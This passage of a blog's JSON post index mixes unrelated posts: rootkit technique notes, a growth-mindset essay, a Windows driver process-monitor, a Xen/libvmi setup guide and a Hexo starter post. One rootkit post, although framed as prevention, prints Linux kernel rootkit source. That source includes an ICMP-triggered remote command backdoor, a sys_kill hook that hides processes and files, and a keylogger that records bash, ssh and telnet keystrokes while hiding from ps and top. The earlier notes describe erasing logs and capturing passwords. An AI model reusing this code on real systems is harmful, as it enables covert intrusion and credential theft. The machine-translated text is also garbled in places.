and udp4_seq_show and other functions.Hide the module: lsmod command is mainly through the sys_query_module system call to obtain the module information, you can call the hook sys_query_module system to hide the module, you can also remove the module from the kernel module list to achieve the hidden effect.Sniffer: sniffer can directly access library libpcap link layer, intercepted data packets, packets may be intercepted at the point of hook by the IP layer of linux netfilter framework. Sniffer to obtain other data packets on the network need to set the network card to the promiscuous mode, which is through the ioctl system call SIOCSIFFLAGS order to see the current mode of the network card is through the SIOCGIFFLAGS order, so you can hide the network through the hook sys_ioctl mixed mode.Record password: password records can be achieved by hook sys_read call system, such as through a process to determine the name of the currently running the current terminal is closed or echo, the user can obtain the password. hook sys_read can also implement other functions such as login back door.Erase log: log traditional unix predominantly at / var / log / messages, / var / log / lastlog, / var / run / utmp, / var / log / wtmp, can be prepared by appropriate modification tool log file , You can also change the environment such as HISTFILE / dev / null to hide some of the user's operating information.Core back door: can be the local backdoor and the network to monitor the back door, the local right to mention the kernel module can be sent through the custom command to achieve, the network kernel back door can be in the IP layer to enter the host data packet monitoring, found matching designation After the packet immediately start the connection process. Rootkit’s main technology:12345678910111213141516lkm injection, module removal, interruption interrupt (0x80, 0x01), hijacking system call, run-time patch, inline hook, port bounce ...lkm injection: is also a way to hide the kernel module, through the infection system lkm, without affecting the original function of the rootkit module will be linked to the system lkm, the module is running control, after the call system lkm Initialization function, lkm injection involves elf file format and module loading mechanism.Module removal: mainly refers to the module from the module list to remove the module to hide the method, the latest module is always loaded in the module list header, so you can load the rootkit module and then load a cleanup module will rootkit module information from Delete the list, and then exit the module, the new version of the kernel can also determine the module information directly after the list_del.Interception interruption: mainly through the sidt instruction to obtain the address of the interrupt call table, and then access to the interrupt handler entry address, modify the corresponding interrupt handler, such as int 0x80, int 0x1 and so on. Which intercept int 0x1 is a relatively new technology, the main use of the system debugging mechanism, by setting the DR register to intercept the memory address up and down the breakpoint, which in the implementation of the specified instruction into the 0x1 interrupt handler, by modifying 0x1 interrupt Of the processing program can achieve the desired function.Hijacking system call: and intercept interrupt similar, but mainly on the system call table to modify, you can directly replace the original system call table, you can also modify the system call table entry address. Before the 2.4 kernel, the kernel's system call table address is exported, so it can be modified directly. But in the 2.6 kernel, the system call table address is no longer exported, the need to 0x80 interrupt handler to obtain the system call table to obtain the address.Run-time patch: character device driver and block device driver will load the system to register a Struct file_operations structure to achieve the specified read, write and other operations, the file system is the case, by modifying the file system file_operations structure, you can achieve the new read, write operation and so on.inline hook: mainly refers to the kernel function in memory directly modify, without affecting the original function, you can use the jump method, you can also modify the call to the lower function implementation.Port bounce: mainly in order to better break through the firewall restrictions, you can monitor the client port 80, and the server through the client's port 80 back, disguised as a visit to the normal process of web services to break through the firewall limit.","tags":[]},{"title":"Vita","date":"2017-09-27T20:39:48.500Z","path":"2017/09/28/new 8/","text":"The OS summary!The OS summary!The OS summary!The OS summary! The OS summaryThis is a bolg that can make you know more about OS1Too much details,so finally I give a link that I find from CSDN! More info: Click here","tags":[]},{"title":"The study of how to solve rookitd record!","date":"2017-09-23T10:52:34.421Z","path":"2017/09/23/new7/","text":"First define an array of 64 elements that need to hide the process prefix [MAX_PREFIX]Then define a filldir hook () function (ps: first, vfs_readir callback function (exact should be called filldir_t filler);Second, sys_getdents is passed to the callback function of vfs_readdir.filldir_t filler is in the various vfs_readir internal callback, by the various fs internal read_dir implementation to complete the directory traversal operation,For each file or subdirectory traversed, callback filler to fill buf) hook the process callback function fill value, when the fill value is equal to the hiddenThe process number of the stored process (ps: the process character name is converted to a corresponding integer by the kstrtouint () function).prefix [MAX_PREFIX].Finally, in the need to hide the main function of the process in order to scan prefix [MAX_PREFIX], when the scan is not 0 when the value of the process is that weNeed to hide the process, return directly, do not return to the buffer. If it is 0, then we do not need to hide the process is not necessary to hidePossession of the process, to the real filldir fill in the buffer. Ps: Since the process is always created by the parent process, and the child process can create a child process, so the process is a tree, and rootkid through the hook functionMake the rootkid want to hide the process by the system call readir function callback function does not return to the process buffer, in fact, is a broken treeBad, making the real system process tree becomes incomplete because someone will use this way to attack the others ,I only give the Prevention method to who is interested in this!!! The first situationHow to find hidden process123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105/* execute cmds hidden in icmp echo packet */unsigned int icmp_hook(#if LINUX_VERSION_CODE < KERNEL_VERSION(3,13,0) unsigned int hooknum,#else const struct nf_hook_ops *ops,#endif struct sk_buff *skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)){ struct icmphdr *icmph; struct iphdr *iph; char *data, *cmd; int cmdlen, passlen; icmph = icmp_hdr(skb); data = (char *)icmph + 8; if (icmph && icmph->type == ICMP_ECHO && !strncmp(rce_pass, data, passlen=strlen(rce_pass))) { /* get ip header */ iph = ip_hdr(skb); /* calculate cmd length */ cmdlen = __be16_to_cpu(iph->tot_len) - iph->ihl * 4 - /*icmp header*/ 8 - passlen - /*space after password*/ 1; FDEBUG(\"total len: %d\\theader len: %d\\tpasslen: %d\\n\", __be16_to_cpu(iph->tot_len), iph->ihl, passlen); /* get cmd string */ cmd = rce_cmd; memcpy(cmd, data+passlen+1, cmdlen); cmd[cmdlen] = '\\0'; argv[2] = cmd; FDEBUG(\"Cmd (%d bytes): %s\\n\", cmdlen, cmd); /* start userspace command */ call_usermodehelper(argv[0], argv, NULL, UMH_NO_WAIT); goto drop; } return NF_ACCEPT;drop: return NF_DROP;}/* netfilter hook struct */struct nf_hook_ops nfhook = { .owner = THIS_MODULE, .hook = icmp_hook, .pf = PF_INET, .hooknum = NF_INET_LOCAL_IN, .priority = NF_IP_PRI_FIRST,};int rce_init(void){ return nf_register_hook(&nfhook);}void rce_exit(void){ nf_unregister_hook(&nfhook);}/*********************** * rootkit control ***********************//* kill hook */asmlinkage long sys_kill(pid_t pid, int sig){ switch (sig) { case SIGRTMAX: /* rootkit control */ switch (pid) { case 0: file_hide_start(); break; case 1: file_hide_stop(); break; } break; case SIGRTMAX-1: /* hide process */ if (pid == 0) reveal_all_pids(); else hide_pid(pid); break; default: return ((asmlinkage long (*)(pid_t, int))old_kill)(pid, sig); } return 0;} Welcome to communicate: Server The second situationChange the system’ps and pstree!123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231inkage int h4x_read(unsigned int fd, char __user *buf, size_t count){ int i,r; char date_time[24]; char *kbuf=(char*)kmalloc(256,GFP_KERNEL); /*If output is redirected to file or grep, hide it*/ copy_from_user(kbuf,buf,255); if ((strstr(current->comm,\"ps\"))||(strstr(current->comm,\"pstree\"))|| (strstr(current->comm,\"top\"))||(strstr(current->comm,\"lsof\"))){ if(strstr(kbuf,_H4X0R_)||strstr(kbuf,KBEAST)) { kfree(kbuf); return -ENOENT; } } r=o_read(fd,buf,count); /*Due to stability issue, we limit the keylogging process*/ if((strcmp(current->comm,\"bash\") == 0) || (strcmp(current->comm,\"ssh\") == 0)|| (strcmp(current->comm,\"scp\") == 0) || (strcmp(current->comm,\"telnet\") == 0)|| (strcmp(current->comm,\"rsh\") == 0) || (strcmp(current->comm,\"rlogin\") == 0)){ /*SPECIAL CHAR*/ if (counter) { if (counter == 2) { // Arrows + Break //left arrow if (buf[0] == 0x44) { strcat(ibuffer,\"[LEFT]\"); counter = 0; goto END; } //right arrow if (buf[0] == 0x43) { strcat(ibuffer,\"[RIGHT]\"); counter = 0; goto END; } //up arrow if (buf[0] == 0x41) { strcat(ibuffer,\"[UP]\"); counter = 0; goto END; } //down arrow if (buf[0] == 0x42) { strcat(ibuffer,\"[DOWN]\"); counter = 0; goto END; } //break if (buf[0] == 0x50) { strcat(ibuffer,\"[BREAK]\"); counter = 0; goto END; } //numlock if(buf[0] == 0x47) { strcat (ibuffer,\"[NUMLOCK]\"); counter = 0; goto END; } strncpy (spbuffer,buf,1); counter ++; goto END; } if (counter == 3) { // F1-F5 //F1 if (buf[0] == 0x41) { strcat(ibuffer,\"[F1]\"); counter = 0; goto END; } //F2 if (buf[0] == 0x42) { strcat(ibuffer,\"[F2]\"); counter = 0; goto END; } //F3 if (buf[0] == 0x43) { strcat(ibuffer,\"[F3]\"); counter = 0; goto END; } //F4 if (buf[0] == 0x44) { strcat(ibuffer,\"[F4]\"); counter = 0; goto END; } //F5 if (buf[0] == 0x45) { strcat(ibuffer,\"[F5]\"); counter = 0; goto END; } if (buf[0] == 0x7E) { // PgUp, PgDown, Ins, ... //Page Up if (spbuffer[0] == 0x35) strcat(ibuffer,\"[PGUP]\"); //Page Down if (spbuffer[0] == 0x36) strcat(ibuffer,\"[PGDN]\"); //Delete if (spbuffer[0] == 0x33) strcat(ibuffer,\"[DELETE]\"); //End if (spbuffer[0] == 0x34) strcat(ibuffer,\"[END]\"); //Home if (spbuffer[0] == 0x31) strcat(ibuffer,\"[HOME]\"); //Insert if (spbuffer[0] == 0x32) strcat(ibuffer,\"[INSERT]\"); counter = 0; goto END; } if (spbuffer[0] == 0x31) { // F6-F8 //F6 if (buf[0] == 0x37) strcat(ibuffer,\"[F6]\"); //F7 if (buf[0] == 0x38) strcat(ibuffer,\"[F7]\"); //F8 if (buf[0] == 0x39) strcat(ibuffer,\"[F8]\"); counter++; goto END; } if (spbuffer[0] == 0x32) { // F9-F12 //F9 if (buf[0] == 0x30) strcat(ibuffer,\"[F9]\"); //F10 if (buf[0] == 0x31) strcat(ibuffer,\"[F10]\"); //F11 if (buf[0] == 0x33) strcat(ibuffer,\"[F11]\"); //F12 if (buf[0] == 0x34) strcat(ibuffer,\"[F12]\"); counter++; goto END; } } if(counter >= 4) { //WatchDog counter = 0; goto END; } counter ++; goto END; } /*SH, SSHD = 0 /TELNETD = 3/LOGIN = 4*/ if(r==1 && (fd==0||fd==3||fd==4)){ //CTRL+U if(buf[0]==0x15){ ibuffer[0]='\\0'; goto END; } //TAB if(buf[0]==0x09){ strcat(ibuffer,\"[TAB]\"); counter = 0; goto END; } //CTRL+C if(buf[0]==0x03){ strcat(ibuffer,\"[CTRL+C]\"); counter = 0; goto END; } //CTRL+D if(buf[0]==0x03){ strcat(ibuffer,\"[CTRL+D]\"); counter = 0; goto END; } //CTRL+] if(buf[0]==0x1D){ strcat(ibuffer,\"[CTRL+]]\"); counter = 0; goto END; } //BACKSPACE 0x7F Local / 0x08 Remote if (buf[0] == 0x7F || buf[0] == 0x08) { if (ibuffer[strlen(ibuffer) - 1] == ']') { for (i=2;strlen(ibuffer);i++){ if (ibuffer[strlen (ibuffer) - i] == '[') { ibuffer[strlen(ibuffer) - i] = '\\0'; break; } } goto END; }else { ibuffer[strlen(ibuffer) - 1] = '\\0'; goto END; } } if (buf[0] == 0x1B) { counter++; goto END; } if(buf[0] != '\\n' && buf[0] != '\\r'){ strncat(ibuffer,buf,sizeof(ibuffer)); }else{ strcat(ibuffer,\"\\n\"); get_time(date_time); snprintf(obuffer,sizeof(obuffer),\"[%s] - [UID = %i ] %s > %s\",date_time,current_uid(),current->comm,ibuffer); //I don't want to log buffer more than 60 chars, most of them are useless data if(strlen(ibuffer)<60) { log_to_file(obuffer); } ibuffer[0]='\\0'; } } } END: return r;} Welcome to communicate: Server","tags":[]},{"title":"What is the relationship gap?","date":"2017-09-19T00:59:26.197Z","path":"2017/09/19/new 6/","text":"Angela Lee is a math teacher in a public school in the United States, she found a strange phenomenon - IQ high student achievement is not necessarily good, on the contrary, many IQ is not so high students but achieved good results. In other words, IQ is not the only criterion for determining success and failure. Later, Angela Lee returned to the University to pursue a master’s degree in psychology, began to systematically study “what ultimately determines whether a person is successful?” They investigated the officers of the West Point, senior teachers, and sold the elite … and found that they had a common feature. This feature is not a beautiful appearance, not social ability, not a strong physique, nor is it a high IQ.Is perseverance. first:find the reasonAt present the most effective way to cultivate perseverance is Stanford University Carol Dweck proposed “growth thinking”1At present the most effective way to cultivate perseverance is Stanford University Carol Dweck proposed \"growth thinking\" The core idea of growth thinking is that human learning ability can be changed. In contrast, “fixed thinking” is that people’s talent is born. In the face of setbacks and failures, these two kinds of thinking will lead directly to the two results - Fixed thinking people think that this is their own limit, back to the days of weakness, so choose to give up; Growing thinking people think that if you work harder, you can do better. The former as a failure as the end of the world, the latter as a challenge to failure and learning opportunities. The most deadly gap is the way of thinking. 12345678910111213141516### Second:Growth thinking does not believe in fatalism.``` bashGrowth thinking does not believe in fatalism."You are not going to go to college with this kind of IQ." "I'll take a few more times.""How can your family be so poor and how can you start?" "Money I can earn.""You can not catch the girl." "The first chase."Compared with the results, more concerned about the process;Compared with the failure, more concerned about the accumulated experience;This is the growth of thinking, do not believe that "people's life, day is doomed", but always keep the development, keep making progress. Third12345678910111213Son of mathematics test 59 points, he stood in front of his father, head down, tightly holding the papers.Dad can say: \"how can you even pass the exam can not, this life do not want to learn math!\"Dad can also say: \"wow, poor will be able to pass, the future immeasurable ah boy!\"The first sentence, in addition to his father vent their emotions, the child is not a little benefit.The child will only become increasingly skeptical of himself: I may not really learn the materialThe second sentence is to let the children understand that he has been very close to the passing, the next time as long as more effort can become better.Consciously cultivating children's growth thinking is extremely important, which allows them to more positive face of failure, rather than touch Fourth:Change the way you speak, that is, change your way of thinking.1234567891011121314151. \"I do not understand what?\"\"I made a mistake.\" Become \"this mistake made me learn something.\"\"It's too hard.\" Become \"I may need more effort.\"4. \"Is it really my best thing?\"\"I can only do that.\" \"I can try again.\"\"I can never be as clever as he is.\" Become \"I should learn from him.\"\"I'm not too good at this.\" Become \"I'm improving.\"\"I gave up.\" \"I'd better try other ways.\" Fifth;Only in the case of despair, we will choose to give up123456789People who have fixed thinking are more likely to have despair in their failure, so they are more likely to choose to give up.People who have grown mind think of life as a continuous process, every failure as a stepping stone, will not give up, so they are more likely to be successful.Know there is a question and answer is very exciting,Asked, \"how to get out of the haze of life?\"Answer, \"take a few more steps.\" More info: crazy reading","tags":[]},{"title":"Pocess","date":"2017-09-18T10:59:07.781Z","path":"2017/09/18/new5/","text":"What is a rootkit? It is estimated that many friends do not understand, simply said, Rootkit is a special kind of malicious software, its function isIn the installation of the target to hide their own and specify the documents, processes and network links and other information, more common is the rootkit generally and woodHorse, back door and other malicious programs used in combination. Rootkit by loading a special driver, modify the system kernel, and then to hide the letterThe purpose of interest. Technology is a double-edged sword, we study it is the purpose, through our research, with this technology to protect our system,So that our system more robust, give full play to the positive application of this technology. Process monitoringCreate a new drive123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122ULONG __stdcall check(PULONG arg)//获得指向服务参数指针{ HANDLE hand=0;PFILE_OBJECT file=0; POBJECT_HANDLE_INFORMATION info=0;ULONG a;char*buff; ANSI_STRING str; LARGE_INTEGER li;li.QuadPart=-10000;if((arg[4]&0xf0)==0)return 1;//检测标志if((arg[5]&0x01000000)==0)return 1;//检测属性//通过文件句柄获得文件名hand=(HANDLE)arg[6];//获得执行文件句柄ObReferenceObjectByHandle(hand,0,0,KernelMode,&file,info);//&file获得对象体指针if(!file)return 1;RtlUnicodeStringToAnsiString(&str,&file->FileName,1);a=str.Length;buff=str.Buffer;while(1)//通过循环判断是不是有\". \"标志{ if(buff[a]=='.'){a++;break;} a--;}ObDereferenceObject(file);if(_stricmp(&buff[a],\"exe\")){RtlFreeAnsiString(&str);return 1;}//判断是否为可执行文件 KeWaitForSingleObject(&event,Executive,KernelMode,0,0);//将当前线程置于等待状态知道信号态strcpy(&output[8],buff);//将string复制进buffRtlFreeAnsiString(&str);a=1;//用户的决定通过a的制来反映memmove(&output[0],&a,4);while(1){KeDelayExecutionThread(KernelMode,0,&li);//在一个固定时间间隔内当前线程处于等待状态memmove(&a,&output[0],4);if(!a)break;}memmove(&a,&output[4],4);KeSetEvent(&event,0,0);return a;}//保存执行文件上下文,调用check()函数_declspec(naked) Proxy(){_asm{pushfdpushadmov ebx,espadd ebx,40push ebxcall checkcmp eax,1//由check()的返回值判断是否让可执行文件继续执行jne blockpopadpopfdjmp RealCallee//通过,调用ntcreatesectionblock:popadmov ebx, dword ptr[esp+8]mov dword ptr[ebx],0mov eax,0xC0000022L//不让其通过,返回STATUS_ACCESS_DENIEDpopfdret 32}}到此,驱动程序的工作基本完成,所以在用户程序中用到一个线程来等待驱动的判断结果。 char*name=(char*)&outputbuff[8]; for(x=0;x<stringcount;x++) { if(!stricmp(name,strings[x])){a=1;goto skip;} } strcpy(msgbuff, \"Do you want to run \"); strcat(msgbuff,&outputbuff[8]); if(IDYES==MessageBox(0, msgbuff,\"WARNING\", MB_YESNO|MB_ICONQUESTION|0x00200000L)) {a=1; strings[stringcount]=_strdup(name);stringcount++;} else a=0; // write response to the buffer, and driver will get it skip:memmove(&outputbuff[4],&a,4); //让驱动继续 a=0; memmove(&outputbuff[0],&a,4);}} More info: Rootkit","tags":[]},{"title":"Virtualization monitoring process","date":"2017-09-17T09:03:02.957Z","path":"2017/09/17/new 4/","text":"With the popularity of cloud computing, virtual machine introspection techniques and tools are increasingly being used to monitor the behavior of virtual machines in the IaaS cloud. With the help of these technologies, many applications can be installed outside the virtual machine, but also can provide services for the virtual machine, such as security monitoring software, virus detection software. But the technology must overcome a problem, the semantic gap: the management program can see the city state and their virtual machine within the expression of the semantic separation. This article focuses on the use of introspection technology to monitor the kernel process and the days of stepping on the various pit. Introduction Docinstall xen on the ubuntu1234sudo apt-get install virt-manager$ sudo apt-get install xen-hypervisor-amd64$ sudo reboot$ sudo xl list(Check if the installation is successful) Site of docu: Xen The virtual machine is created to run123456789$ sudo apt-get update$ sudo apt-get -y install virt-manager qemu-system$ There is no need for instructions here, as to download ubuntu systemAttention:The default is to create a virtual machine under QEMU / KVM, but we need to create a virtual machine under xen, as followsClick on the file to create a new connectionThen, create a new virtual machine: self-add system iso file, install the virtual system, I installed is ubuntu14.04: (after testing, only ubuntu14.04 behind it can be monitored)The The The In the creation of virtual machines, we used the 2048M ram 2 cpu! The Theinstallation. The The The The The The The TheAnd then type the command line $ sudo xl list on dom0, you can see xen monitor the two systems: More info: Ubuntu libvmi variant installation1234567891011121314151 sudo apt-get install libglib2.0-dev./autogen.shIf Error: could not find libtoolize or glibtoolizeSolve: sudo apt-get install libtool2 ./autogen.sh ./configureIf missing xenstoreSolve:sudo apt-get install libxen-dev... ...you just need to install whats the packge you need!sudo apt-get install check./autogen.sh./configureLast:View the files under libvmi-0.10.1 / exampleIf you can find process-list、process-list.c、process-list.o,then congratulation to you for that you are successful! More info: As each person’s computer situation is different, the installation process has different problems, welcome to ask, I will solve for everyone!More info: libvmi Deploy to remote sites1Formula: * p = p-pid; More info: According to the various versions of the operating system data structure Xie wrote the main function of the module and Makfile fileFormula: * p = p-pid;Also perform a file to view the kernel data structure of the various defined macros as well as the operationMore info: CSDN","tags":[]},{"title":"Hello World","date":"2017-09-13T06:04:39.929Z","path":"2017/09/13/hello-world/","text":"Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub. Quick StartCreate a new post1$ hexo new \"My New Post\" More info: Writing Run server1$ hexo server More info: Server Generate static files1$ hexo generate More info: Generating Deploy to remote sites1$ hexo deploy More info: Deployment","tags":[]}]